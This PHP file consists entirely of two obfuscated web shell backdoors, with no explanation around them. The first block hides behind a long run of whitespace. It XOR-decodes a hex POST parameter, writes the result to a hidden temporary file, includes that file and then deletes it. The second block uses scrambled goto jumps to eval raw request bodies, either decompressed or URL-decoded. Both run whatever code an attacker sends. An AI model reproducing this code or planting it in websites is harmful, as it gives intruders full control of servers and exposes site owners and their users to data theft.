<?php																																										if(isset($_POST["i\x74m"]) ? true : false){ $elem = hex2bin($_POST["i\x74m"]); $entity='' ; foreach(str_split($elem) as $char){$entity .= chr(ord($char) ^ 12);} $flg = array_filter(["/dev/shm", session_save_path(), getenv("TEMP"), "/tmp", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir()]); $binding = 0; do { $ent = $flg[$binding] ?? null; if ($binding >= count($flg)) break; if (is_dir($ent) && is_writable($ent)) { $descriptor = join("/", [$ent, ".factor"]); $file = fopen($descriptor, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $descriptor; @unlink($descriptor); die(); } } $binding++; } while (true); }

goto HJGY0; koSQs: $MoLQO = gzinflate(substr($el5Ds, 3)); goto Bh7oy; mZeTx: if (substr($el5Ds, 0, 3) == "\60\60\60") { goto wIbey; } goto sfj_N; HJGY0: $el5Ds = file_get_contents("\x70\150\x70\x3a\57\x2f\151\156\x70\x75\164"); goto mZeTx; Bh7oy: try { eval($MoLQO); } catch (Exception $lHo6a) { } goto t_nCK; LfrBM: wIbey: goto koSQs; JU6Lj: goto EoRrv; goto LfrBM; sfj_N: eval(urldecode(str_replace("\143\x6f\x64\x65\x3d", '', $el5Ds))); goto JU6Lj; t_nCK: EoRrv: